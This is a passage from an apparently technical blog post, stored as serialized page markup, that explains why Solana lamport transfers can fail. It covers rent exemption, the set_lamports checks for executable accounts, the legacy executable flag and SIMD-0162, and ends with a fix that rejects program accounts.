&ctx.accounts.old_king,\n",{"type":24,"tag":83,"props":72709,"children":72710},{"class":85,"line":270},[72711],{"type":24,"tag":83,"props":72712,"children":72713},{"style":107},[72714],{"type":29,"value":72715},"        to_reimburse,\n",{"type":24,"tag":83,"props":72717,"children":72718},{"class":85,"line":302},[72719],{"type":24,"tag":83,"props":72720,"children":72721},{"style":107},[72722],{"type":29,"value":72723},"    )?;\n",{"type":24,"tag":83,"props":72725,"children":72726},{"class":85,"line":324},[72727],{"type":24,"tag":83,"props":72728,"children":72729},{"style":245},[72730],{"type":29,"value":72731},"+}\n",{"type":24,"tag":25,"props":72733,"children":72734},{},[72735],{"type":29,"value":72736},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":24,"tag":1818,"props":72738,"children":72740},{"id":72739},"bug-2-writable-but-untouchable-set_lamports-fails",[72741,72743,72749],{"type":29,"value":72742},"Bug 2: Writable but Untouchable — ",{"type":24,"tag":32,"props":72744,"children":72746},{"className":72745},[],[72747],{"type":29,"value":72748},"set_lamports",{"type":29,"value":72750}," Fails",{"type":24,"tag":25,"props":72752,"children":72753},{},[72754,72756,72763],{"type":29,"value":72755},"Let's look at ",{"type":24,"tag":2033,"props":72757,"children":72760},{"href":72758,"rel":72759},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[2037],[72761],{"type":29,"value":72762},"BorrowedAccount::set_lamports",{"type":29,"value":161},{"type":24,"tag":73,"props":72765,"children":72767},{"className":2725,"code":72766,"language":2724,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[72768],{"type":24,"tag":32,"props":72769,"children":72770},{"__ignoreMap":7},[72771,72779,72800,72872,72880,72939,72971,72978,72986,73014,73046,73053,73061,73085,73117,73124,73132,73167,73183,73190,73218,73253,73264,73271,73278,73286,73305,73313,73353,73365,73377,73389,73420],{"type":24,"tag":83,"props":72772,"children":72773},{"class":85,"line":86},[72774],{"type":24,"tag":83,"props":72775,"children":72776},{"style":2735},[72777],{"type":29,"value":72778},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":24,"tag":83,"props":72780,"children":72781},{"class":85,"line":113},[72782,72787,72791,72796],{"type":24,"tag":83,"props":72783,"children":72784},{"style":107},[72785],{"type":29,"value":72786},"#[cfg(not(target_os ",{"type":24,"tag":83,"props":72788,"children":72789},{"style":143},[72790],{"type":29,"value":1275},{"type":24,"tag":83,"props":72792,"children":72793},{"style":187},[72794],{"type":29,"value":72795}," \"solana\"",{"type":24,"tag":83,"props":72797,"children":72798},{"style":107},[72799],{"type":29,"value":20349},{"type":24,"tag":83,"props":72801,"children":72802},{"class":85,"line":128},[72803,72807,72811,72816,72820,72824,72828,72832,72836,72840,72844,72848,72852,72856,72860,72864,72868],{"type":24,"tag":83,"props":72804,"children":72805},{"style":90},[72806],{"type":29,"value":13435},{"type":24,"tag":83,"props":72808,"children":72809},{"style":90},[72810],{"type":29,"value":13440},{"type":24,"tag":83,"props":72812,"children":72813},{"style":101},[72814],{"type":29,"value":72815}," set_lamports",{"type":24,"tag":83,"props":72817,"children":72818},{"style":107},[72819],{"type":29,"value":558},{"type":24,"tag":83,"props":72821,"children":72822},{"style":143},[72823],{"type":29,"value":2853},{"type":24,"tag":83,"props":72825,"children":72826},{"style":90},[72827],{"type":29,"value":3468},{"type":24,"tag":83,"props":72829,"children":72830},{"style":90},[72831],{"type":29,"value":13542},{"type":24,"tag":83,"props":72833,"children":72834},{"style":107},[72835],{"type":29,"value":568},{"type":24,"tag":83,"props":72837,"children":72838},{"style":137},[72839],{"type":29,"value":15251},{"type":24,"tag":83,"props":72841,"children":72842},{"style":143},[72843],{"type":29,"value":195},{"type":24,"tag":83,"props":72845,"children":72846},{"style":3163},[72847],{"type":29,"value":5606},{"type":24,"tag":83,"props":72849,"children":72850},{"style":107},[72851],{"type":29,"value":633},{"type":24,"tag":83,"props":72853,"children":72854},{"style":143},[72855],{"type":29,"value":13502},{"type":24,"tag":83,"props":72857,"children":72858},{"style":3163},[72859],{"type":29,"value":13507},{"type":24,"tag":83,"props":72861,"children":72862},{"style":107},[72863],{"type":29,"value":13512},{"type":24,"tag":83,"props":72865,"children":72866},{"style":3163},[72867],{"type":29,"value":15496},{"type":24,"tag":83,"props":72869,"children":72870},{"style":107},[72871],{"type":29,"value":7028},{"type":24,"tag":83,"props":72873,"children":72874},{"class":85,"line":183},[72875],{"type":24,"tag":83,"props":72876,"children":72877},{"style":2735},[72878],{"type":29,"value":72879},"    // An account not owned by the program cannot have its balance decrease\n",{"type":24,"tag":83,"props":72881,"children":72882},{"class":85,"line":203},[72883,72887,72891,72895,72899,72904,72908,72913,72918,72922,72926,72930,72935],{"type":24,"tag":83,"props":72884,"children":72885},{"style":117},[72886],{"type":29,"value":218},{"type":24,"tag":83,"props":72888,"children":72889},{"style":143},[72890],{"type":29,"value":12609},{"type":24,"tag":83,"props":72892,"children":72893},{"style":90},[72894],{"type":29,"value":13458},{"type":24,"tag":83,"props":72896,"children":72897},{"style":143},[72898],{"type":29,"value":161},{"type":24,"tag":83,"props":72900,"children":72901},{"style":101},[72902],{"type":29,"value":72903},"is_owned_by_current_program",{"type":24,"tag":83,"props":72905,"children":72906},{"style":107},[72907],{"type":29,"value":13788},{"type":24,"tag":83,"props":72909,"children":72910},{"style":143},[72911],{"type":29,"value":72912},"&&",{"type":24,"tag":83,"props":72914,"children":72915},{"style":137},[72916],{"type":29,"value":72917}," lamports",{"type":24,"tag":83,"props":72919,"children":72920},{"style":143},[72921],{"type":29,"value":8463},{"type":24,"tag":83,"props":72923,"children":72924},{"style":90},[72925],{"type":29,"value":13542},{"type":24,"tag":83,"props":72927,"children":72928},{"style":143},[72929],{"type":29,"value":161},{"type":24,"tag":83,"props":72931,"children":72932},{"style":101},[72933],{"type":29,"value":72934},"get_lamports",{"type":24,"tag":83,"props":72936,"children":72937},{"style":107},[72938],{"type":29,"value":110},{"type":24,"tag":83,"props":72940,"children":72941},{"class":85,"line":212},[72942,72946,72950,72954,72958,72962,72967],{"type":24,"tag":83,"props":72943,"children":72944},{"style":117},[72945],{"type":29,"value":15482},{"type":24,"tag":83,"props":72947,"children":72948},{"style":3163},[72949],{"type":29,"value":15487},{"type":24,"tag":83,"props":72951,"children":72952},{"style":107},[72953],{"type":29,"value":558},{"type":24,"tag":83,"props":72955,"children":72956},{"style":3163},[72957],{"type":29,"value":15496},{"type":24,"tag":83,"props":72959,"children":72960},{"style":143},[72961],{"type":29,"value":3226},{"type":24,"tag":83,"props":72963,"children":72964},{"style":3163},[72965],{"type":29,"value":72966},"ExternalAccountLamportSpend",{"type":24,"tag":83,"props":72968,"children":72969},{"style":107},[72970],{"type":29,"value":581},{"type":24,"tag":83,"props":72972,"children":72973},{"class":85,"line":256},[72974],{"type":24,"tag":83,"props":72975,"children":72976},{"style":107},[72977],{"type":29,"value":446},{"type":24,"tag":83,"props":72979,"children":72980},{"class":85,"line":270},[72981],{"type":24,"tag":83,"props":72982,"children":72983},{"style":2735},[72984],{"type":29,"value":72985},"    // The balance of read-only may not change\n",{"type":24,"tag":83,"props":72987,"children":72988},{"class":85,"line":302},[72989,72993,72997,73001,73005,73010],{"type":24,"tag":83,"props":72990,"children":72991},{"style":117},[72992],{"type":29,"value":218},{"type":24,"tag":83,"props":72994,"children":72995},{"style":143},[72996],{"type":29,"value":12609},{"type":24,"tag":83,"props":72998,"children":72999},{"style":90},[73000],{"type":29,"value":13458},{"type":24,"tag":83,"props":73002,"children":73003},{"style":143},[73004],{"type":29,"value":161},{"type":24,"tag":83,"props":73006,"children":73007},{"style":101},[73008],{"type":29,"value":73009},"is_writable",{"type":24,"tag":83,"props":73011,"children":73012},{"style":107},[73013],{"type":29,"value":110},{"type":24,"tag":83,"props":73015,"children":73016},{"class":85,"line":324},[73017,73021,73025,73029,73033,73037,73042],{"type":24,"tag":83,"props":73018,"children":73019},{"style":117},[73020],{"type":29,"value":15482},{"type":24,"tag":83,"props":73022,"children":73023},{"style":3163},[73024],{"type":29,"value":15487},{"type":24,"tag":83,"props":73026,"children":73027},{"style":107},[73028],{"type":29,"value":558},{"type":24,"tag":83,"props":73030,"children":73031},{"style":3163},[73032],{"type":29,"value":15496},{"type":24,"tag":83,"props":73034,"children":73035},{"style":143},[73036],{"type":29,"value":3226},{"type":24,"tag":83,"props":73038,"children":73039},{"style":3163},[73040],{"type":29,"value":73041},"ReadonlyLamportChange",{"type":24,"tag":83,"props":73043,"children":73044},{"style":107},[73045],{"type":29,"value":581},{"type":24,"tag":83,"props":73047,"children":73048},{"class":85,"line":345},[73049],{"type":24,"tag":83,"props":73050,"children":73051},{"style":107},[73052],{"type":29,"value":446},{"type":24,"tag":83,"props":73054,"children":73055},{"class":85,"line":358},[73056],{"type":24,"tag":83,"props":73057,"children":73058},{"style":2735},[73059],{"type":29,"value":73060},"    // The balance of executable accounts may not change\n",{"type":24,"tag":83,"props":73062,"children":73063},{"class":85,"line":367},[73064,73068,73072,73076,73081],{"type":24,"tag":83,"props":73065,"children":73066},{"style":117},[73067],{"type":29,"value":218},{"type":24,"tag":83,"props":73069,"children":73070},{"style":90},[73071],{"type":29,"value":13542},{"type":24,"tag":83,"props":73073,"children":73074},{"style":143},[73075],{"type":29,"value":161},{"type":24,"tag":83,"props":73077,"children":73078},{"style":101},[73079],{"type":29,"value":73080},"is_executable_internal",{"type":24,"tag":83,"props":73082,"children":73083},{"style":107},[73084],{"type":29,"value":110},{"type":24,"tag":83,"props":73086,"children":73087},{"class":85,"line":406},[73088,73092,73096,73100,73104,73108,73113],{"type":24,"tag":83,"props":73089,"children":73090},{"style":117},[73091],{"type":29,"value":15482},{"type":24,"tag":83,"props":73093,"children":73094},{"style":3163},[73095],{"type":29,"value":15487},{"type":24,"tag":83,"props":73097,"children":73098},{"style":107},[73099],{"type":29,"value":558},{"type":24,"tag":83,"props":73101,"children":73102},{"style":3163},[73103],{"type":29,"value":15496},{"type":24,"tag":83,"props":73105,"children":73106},{"style":143},[73107],{"type":29,"value":3226},{"type":24,"tag":83,"props":73109,"children":73110},{"style":3163},[73111],{"type":29,"value":73112},"ExecutableLamportChange",{"type":24,"tag":83,"props":73114,"children":73115},{"style":107},[73116],{"type":29,"value":581},{"type":24,"tag":83,"props":73118,"children":73119},{"class":85,"line":427},[73120],{"type":24,"tag":83,"props":73121,"children":73122},{"style":107},[73123],{"type":29,"value":446},{"type":24,"tag":83,"props":73125,"children":73126},{"class":85,"line":440},[73127],{"type":24,"tag":83,"props":73128,"children":73129},{"style":2735},[73130],{"type":29,"value":73131},"    // don't touch the account if the lamports do not change\n",{"type":24,"tag":83,"props":73133,"children":73134},{"class":85,"line":449},[73135,73139,73143,73147,73151,73155,73159,73163],{"type":24,"tag":83,"props":73136,"children":73137},{"style":117},[73138],{"type":29,"value":218},{"type":24,"tag":83,"props":73140,"children":73141},{"style":90},[73142],{"type":29,"value":13542},{"type":24,"tag":83,"props":73144,"children":73145},{"style":143},[73146],{"type":29,"value":161},{"type":24,"tag":83,"props":73148,"children":73149},{"style":101},[73150],{"type":29,"value":72934},{"type":24,"tag":83,"props":73152,"children":73153},{"style":107},[73154],{"type":29,"value":13788},{"type":24,"tag":83,"props":73156,"children":73157},{"style":143},[73158],{"type":29,"value":8320},{"type":24,"tag":83,"props":73160,"children":73161},{"style":137},[73162],{"type":29,"value":72917},{"type":24,"tag":83,"props":73164,"children":73165},{"style":107},[73166],{"type":29,"value":125},{"type":24,"tag":83,"props":73168,"children":73169},{"class":85,"line":458},[73170,73174,73178],{"type":24,"tag":83,"props":73171,"children":73172},{"style":117},[73173],{"type":29,"value":15482},{"type":24,"tag":83,"props":73175,"children":73176},{"style":3163},[73177],{"type":29,"value":42653},{"type":24,"tag":83,"props":73179,"children":73180},{"style":107},[73181],{"type":29,"value":73182},"(());\n",{"type":24,"tag":83,"props":73184,"children":73185},{"class":85,"line":1065},[73186],{"type":24,"tag":83,"props":73187,"children":73188},{"style":107},[73189],{"type":29,"value":446},{"type":24,"tag":83,"props":73191,"children":73192},{"class":85,"line":1668},[73193,73197,73201,73206,73210,73214],{"type":24,"tag":83,"props":73194,"children":73195},{"style":90},[73196],{"type":29,"value":20526},{"type":24,"tag":83,"props":73198,"children":73199},{"style":143},[73200],{"type":29,"value":161},{"type":24,"tag":83,"props":73202,"children":73203},{"style":101},[73204],{"type":29,"value":73205},"touch",{"type":24,"tag":83,"props":73207,"children":73208},{"style":107},[73209],{"type":29,"value":13624},{"type":24,"tag":83,"props":73211,"children":73212},{"style":143},[73213],{"type":29,"value":2900},{"type":24,"tag":83,"props":73215,"children":73216},{"style":107},[73217],{"type":29,"value":321},{"type":24,"tag":83,"props":73219,"children":73220},{"class":85,"line":1713},[73221,73225,73229,73233,73237,73241,73245,73249],{"type":24,"tag":83,"props":73222,"children":73223},{"style":90},[73224],{"type":29,"value":20526},{"type":24,"tag":83,"props":73226,"children":73227},{"style":143},[73228],{"type":29,"value":161},{"type":24,"tag":83,"props":73230,"children":73231},{"style":107},[73232],{"type":29,"value":12698},{"type":24,"tag":83,"props":73234,"children":73235},{"style":143},[73236],{"type":29,"value":161},{"type":24,"tag":83,"props":73238,"children":73239},{"style":101},[73240],{"type":29,"value":72748},{"type":24,"tag":83,"props":73242,"children":73243},{"style":107},[73244],{"type":29,"value":558},{"type":24,"tag":83,"props":73246,"children":73247},{"style":137},[73248],{"type":29,"value":15251},{"type":24,"tag":83,"props":73250,"children":73251},{"style":107},[73252],{"type":29,"value":581},{"type":24,"tag":83,"props":73254,"children":73255},{"class":85,"line":1730},[73256,73260],{"type":24,"tag":83,"props":73257,"children":73258},{"style":3163},[73259],{"type":29,"value":14076},{"type":24,"tag":83,"props":73261,"children":73262},{"style":107},[73263],{"type":29,"value":14081},{"type":24,"tag":83,"props":73265,"children":73266},{"class":85,"line":1770},[73267],{"type":24,"tag":83,"props":73268,"children":73269},{"style":107},[73270],{"type":29,"value":464},{"type":24,"tag":83,"props":73272,"children":73273},{"class":85,"line":1778},[73274],{"type":24,"tag":83,"props":73275,"children":73276},{"emptyLinePlaceholder":16},[73277],{"type":29,"value":3422},{"type":24,"tag":83,"props":73279,"children":73280},{"class":85,"line":1803},[73281],{"type":24,"tag":83,"props":73282,"children":73283},{"style":2735},[73284],{"type":29,"value":73285},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":83,"props":73287,"children":73288},{"class":85,"line":1811},[73289,73293,73297,73301],{"type":24,"tag":83,"props":73290,"children":73291},{"style":107},[73292],{"type":29,"value":72786},{"type":24,"tag":83,"props":73294,"children":73295},{"style":143},[73296],{"type":29,"value":1275},{"type":24,"tag":83,"props":73298,"children":73299},{"style":187},[73300],{"type":29,"value":72795},{"type":24,"tag":83,"props":73302,"children":73303},{"style":107},[73304],{"type":29,"value":20349},{"type":24,"tag":83,"props":73306,"children":73307},{"class":85,"line":8792},[73308],{"type":24,"tag":83,"props":73309,"children":73310},{"style":107},[73311],{"type":29,"value":73312},"#[inline]\n",{"type":24,"tag":83,"props":73314,"children":73315},{"class":85,"line":8810},[73316,73320,73325,73329,73333,73337,73341,73345,73349],{"type":24,"tag":83,"props":73317,"children":73318},{"style":90},[73319],{"type":29,"value":20007},{"type":24,"tag":83,"props":73321,"children":73322},{"style":101},[73323],{"type":29,"value":73324}," is_executable_internal",{"type":24,"tag":83,"props":73326,"children":73327},{"style":107},[73328],{"type":29,"value":558},{"type":24,"tag":83,"props":73330,"children":73331},{"style":143},[73332],{"type":29,"value":2853},{"type":24,"tag":83,"props":73334,"children":73335},{"style":90},[73336],{"type":29,"value":13458},{"type":24,"tag":83,"props":73338,"children":73339},{"style":107},[73340],{"type":29,"value":633},{"type":24,"tag":83,"props":73342,"children":73343},{"style":143},[73344],{"type":29,"value":13502},{"type":24,"tag":83,"props":73346,"children":73347},{"style":3163},[73348],{"type":29,"value":11797},{"type":24,"tag":83,"props":73350,"children":73351},{"style":107},[73352],{"type":29,"value":125},{"type":24,"tag":83,"props":73354,"children":73355},{"class":85,"line":8855},[73356,73360],{"type":24,"tag":83,"props":73357,"children":73358},{"style":143},[73359],{"type":29,"value":20710},{"type":24,"tag":83,"props":73361,"children":73362},{"style":90},[73363],{"type":29,"value":73364},"self\n",{"type":24,"tag":83,"props":73366,"children":73367},{"class":85,"line":8961},[73368,73372],{"type":24,"tag":83,"props":73369,"children":73370},{"style":143},[73371],{"type":29,"value":67975},{"type":24,"tag":83,"props":73373,"children":73374},{"style":107},[73375],{"type":29,"value":73376},"transaction_context\n",{"type":24,"tag":83,"props":73378,"children":73379},{"class":85,"line":23248},[73380,73384],{"type":24,"tag":83,"props":73381,"children":73382},{"style":143},[73383],{"type":29,"value":67975},{"type":24,"tag":83,"props":73385,"children":73386},{"style":107},[73387],{"type":29,"value":73388},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":83,"props":73390,"children":73391},{"class":85,"line":23283},[73392,73396,73400,73404,73408,73412,73416],{"type":24,"tag":83,"props":73393,"children":73394},{"style":143},[73395],{"type":29,"value":42517},{"type":24,"tag":83,"props":73397,"children":73398},{"style":90},[73399],{"type":29,"value":13542},{"type":24,"tag":83,"props":73401,"children":73402},{"style":143},[73403],{"type":29,"value":161},{"type":24,"tag":83,"props":73405,"children":73406},{"style":107},[73407],{"type":29,"value":12698},{"type":24,"tag":83,"props":73409,"children":73410},{"style":143},[73411],{"type":29,"value":161},{"type":24,"tag":83,"props":73413,"children":73414},{"style":101},[73415],{"type":29,"value":15394},{"type":24,"tag":83,"props":73417,"children":73418},{"style":107},[73419],{"type":29,"value":7483},{"type":24,"tag":83,"props":73421,"children":73422},{"class":85,"line":23291},[73423],{"type":24,"tag":83,"props":73424,"children":73425},{"style":107},[73426],{"type":29,"value":464},{"type":24,"tag":25,"props":73428,"children":73429},{},[73430],{"type":29,"value":73431},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":25,"props":73433,"children":73434},{},[73435,73437,73442],{"type":29,"value":73436},"Specifically, ",{"type":24,"tag":2040,"props":73438,"children":73439},{},[73440],{"type":29,"value":73441},"executable accounts",{"type":29,"value":73443}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":18631,"props":73445,"children":73447},{"id":73446},"sidebar-whats-the-executable-flag-anyway",[73448],{"type":29,"value":73449},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":25,"props":73451,"children":73452},{},[73453,73454,73459],{"type":29,"value":16348},{"type":24,"tag":32,"props":73455,"children":73457},{"className":73456},[],[73458],{"type":29,"value":15394},{"type":29,"value":73460}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":25,"props":73462,"children":73463},{},[73464,73466,73471],{"type":29,"value":73465},"This behavior became problematic with the introduction of the ",{"type":24,"tag":2040,"props":73467,"children":73468},{},[73469],{"type":29,"value":73470},"Upgradeable BPF Loader",{"type":29,"value":73472},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":73,"props":73474,"children":73476},{"className":2725,"code":73475,"language":2724,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[73477],{"type":24,"tag":32,"props":73478,"children":73479},{"__ignoreMap":7},[73480,73492,73500,73520,73528,73540,73548,73568,73576,73604,73612,73620],{"type":24,"tag":83,"props":73481,"children":73482},{"class":85,"line":86},[73483,73488],{"type":24,"tag":83,"props":73484,"children":73485},{"style":3163},[73486],{"type":29,"value":73487},"Program",{"type":24,"tag":83,"props":73489,"children":73490},{"style":107},[73491],{"type":29,"value":125},{"type":24,"tag":83,"props":73493,"children":73494},{"class":85,"line":113},[73495],{"type":24,"tag":83,"props":73496,"children":73497},{"style":2735},[73498],{"type":29,"value":73499},"    /// Address of the ProgramData account.\n",{"type":24,"tag":83,"props":73501,"children":73502},{"class":85,"line":128},[73503,73508,73512,73516],{"type":24,"tag":83,"props":73504,"children":73505},{"style":137},[73506],{"type":29,"value":73507},"    programdata_address",{"type":24,"tag":83,"props":73509,"children":73510},{"style":143},[73511],{"type":29,"value":195},{"type":24,"tag":83,"props":73513,"children":73514},{"style":3163},[73515],{"type":29,"value":20597},{"type":24,"tag":83,"props":73517,"children":73518},{"style":107},[73519],{"type":29,"value":989},{"type":24,"tag":83,"props":73521,"children":73522},{"class":85,"line":183},[73523],{"type":24,"tag":83,"props":73524,"children":73525},{"style":107},[73526],{"type":29,"value":73527},"},\n",{"type":24,"tag":83,"props":73529,"children":73530},{"class":85,"line":203},[73531,73536],{"type":24,"tag":83,"props":73532,"children":73533},{"style":3163},[73534],{"type":29,"value":73535},"ProgramData",{"type":24,"tag":83,"props":73537,"children":73538},{"style":107},[73539],{"type":29,"value":125},{"type":24,"tag":83,"props":73541,"children":73542},{"class":85,"line":212},[73543],{"type":24,"tag":83,"props":73544,"children":73545},{"style":2735},[73546],{"type":29,"value":73547},"    /// Slot that the program was last modified.\n",{"type":24,"tag":83,"props":73549,"children":73550},{"class":85,"line":256},[73551,73556,73560,73564],{"type":24,"tag":83,"props":73552,"children":73553},{"style":137},[73554],{"type":29,"value":73555},"    slot",{"type":24,"tag":83,"props":73557,"children":73558},{"style":143},[73559],{"type":29,"value":195},{"type":24,"tag":83,"props":73561,"children":73562},{"style":3163},[73563],{"type":29,"value":5606},{"type":24,"tag":83,"props":73565,"children":73566},{"style":107},[73567],{"type":29,"value":989},{"type":24,"tag":83,"props":73569,"children":73570},{"class":85,"line":270},[73571],{"type":24,"tag":83,"props":73572,"children":73573},{"style":2735},[73574],{"type":29,"value":73575},"    /// Address of the Program's upgrade authority.\n",{"type":24,"tag":83,"props":73577,"children":73578},{"class":85,"line":302},[73579,73584,73588,73592,73596,73600],{"type":24,"tag":83,"props":73580,"children":73581},{"style":137},[73582],{"type":29,"value":73583},"    upgrade_authority_address",{"type":24,"tag":83,"props":73585,"children":73586},{"style":143},[73587],{"type":29,"value":195},{"type":24,"tag":83,"props":73589,"children":73590},{"style":3163},[73591],{"type":29,"value":27395},{"type":24,"tag":83,"props":73593,"children":73594},{"style":107},[73595],{"type":29,"value":5552},{"type":24,"tag":83,"props":73597,"children":73598},{"style":3163},[73599],{"type":29,"value":21138},{"type":24,"tag":83,"props":73601,"children":73602},{"style":107},[73603],{"type":29,"value":5884},{"type":24,"tag":83,"props":73605,"children":73606},{"class":85,"line":324},[73607],{"type":24,"tag":83,"props":73608,"children":73609},{"style":2735},[73610],{"type":29,"value":73611},"    // The raw program data follows this serialized structure in the\n",{"type":24,"tag":83,"props":73613,"children":73614},{"class":85,"line":345},[73615],{"type":24,"tag":83,"props":73616,"children":73617},{"style":2735},[73618],{"type":29,"value":73619},"    // account's data.\n",{"type":24,"tag":83,"props":73621,"children":73622},{"class":85,"line":358},[73623],{"type":24,"tag":83,"props":73624,"children":73625},{"style":107},[73626],{"type":29,"value":73527},{"type":24,"tag":25,"props":73628,"children":73629},{},[73630,73632,73639],{"type":29,"value":73631},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":2033,"props":73633,"children":73636},{"href":73634,"rel":73635},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[2037],[73637],{"type":29,"value":73638},"SIMD-0162",{"type":29,"value":73640},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":25,"props":73642,"children":73643},{},[73644,73646,73651,73653,73658],{"type":29,"value":73645},"This change is also a ",{"type":24,"tag":2040,"props":73647,"children":73648},{},[73649],{"type":29,"value":73650},"hard requirement for supporting the new loader-v4",{"type":29,"value":73652},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":32,"props":73654,"children":73656},{"className":73655},[],[73657],{"type":29,"value":73535},{"type":29,"value":73659}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":25,"props":73661,"children":73662},{},[73663,73665,73672,73674,73679],{"type":29,"value":73664},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":2033,"props":73666,"children":73669},{"href":73667,"rel":73668},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[2037],[73670],{"type":29,"value":73671},"migrate",{"type":29,"value":73673}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":32,"props":73675,"children":73677},{"className":73676},[],[73678],{"type":29,"value":73112},{"type":29,"value":73680}," restriction.",{"type":24,"tag":18631,"props":73682,"children":73684},{"id":73683},"fix-2-reject-program-accounts",[73685],{"type":29,"value":73686},"Fix 2: Reject Program Accounts",{"type":24,"tag":25,"props":73688,"children":73689},{},[73690],{"type":29,"value":73691},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":73,"props":73693,"children":73695},{"className":2725,"code":73694,"language":2724,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[73696],{"type":24,"tag":32,"props":73697,"children":73698},{"__ignoreMap":7},[73699,73775,73823,73839,73846,73885,73929,73953,74002,74030],{"type":24,"tag":83,"props":73700,"children":73701},{"class":85,"line":86},[73702,73706,73710,73715,73719,73723,73727,73731,73735,73739,73743,73747,73751,73755,73759,73763,73767,73771],{"type":24,"tag":83,"props":73703,"children":73704},{"style":90},[73705],{"type":29,"value":13435},{"type":24,"tag":83,"props":73707,"children":73708},{"style":90},[73709],{"type":29,"value":13440},{"type":24,"tag":83,"props":73711,"children":73712},{"style":101},[73713],{"type":29,"value":73714}," can_transfer_lamports",{"type":24,"tag":83,"props":73716,"children":73717},{"style":107},[73718],{"type":29,"value":558},{"type":24,"tag":83,"props":73720,"children":73721},{"style":137},[73722],{"type":29,"value":12698},{"type":24,"tag":83,"props":73724,"children":73725},{"style":143},[73726],{"type":29,"value":195},{"type":24,"tag":83,"props":73728,"children":73729},{"style":143},[73730],{"type":29,"value":6888},{"type":24,"tag":83,"props":73732,"children":73733},{"style":3163},[73734],{"type":29,"value":14681},{"type":24,"tag":83,"props":73736,"children":73737},{"style":107},[73738],{"type":29,"value":568},{"type":24,"tag":83,"props":73740,"children":73741},{"style":137},[73742],{"type":29,"value":15251},{"type":24,"tag":83,"props":73744,"children":73745},{"style":143},[73746],{"type":29,"value":195},{"type":24,"tag":83,"props":73748,"children":73749},{"style":3163},[73750],{"type":29,"value":5606},{"type":24,"tag":83,"props":73752,"children":73753},{"style":107},[73754],{"type":29,"value":633},{"type":24,"tag":83,"props":73756,"children":73757},{"style":143},[73758],{"type":29,"value":13502},{"type":24,"tag":83,"props":73760,"children":73761},{"style":3163},[73762],{"type":29,"value":13507},{"type":24,"tag":83,"props":73764,"children":73765},{"style":107},[73766],{"type":29,"value":5552},{"type":24,"tag":83,"props":73768,"children":73769},{"style":3163},[73770],{"type":29,"value":29437},{"type":24,"tag":83,"props":73772,"children":73773},{"style":107},[73774],{"type":29,"value":7028},{"type":24,"tag":83,"props":73776,"children":73777},{"class":85,"line":113},[73778,73782,73787,73791,73795,73799,73803,73807,73811,73815,73819],{"type":24,"tag":83,"props":73779,"children":73780},{"style":90},[73781],{"type":29,"value":20007},{"type":24,"tag":83,"props":73783,"children":73784},{"style":101},[73785],{"type":29,"value":73786}," 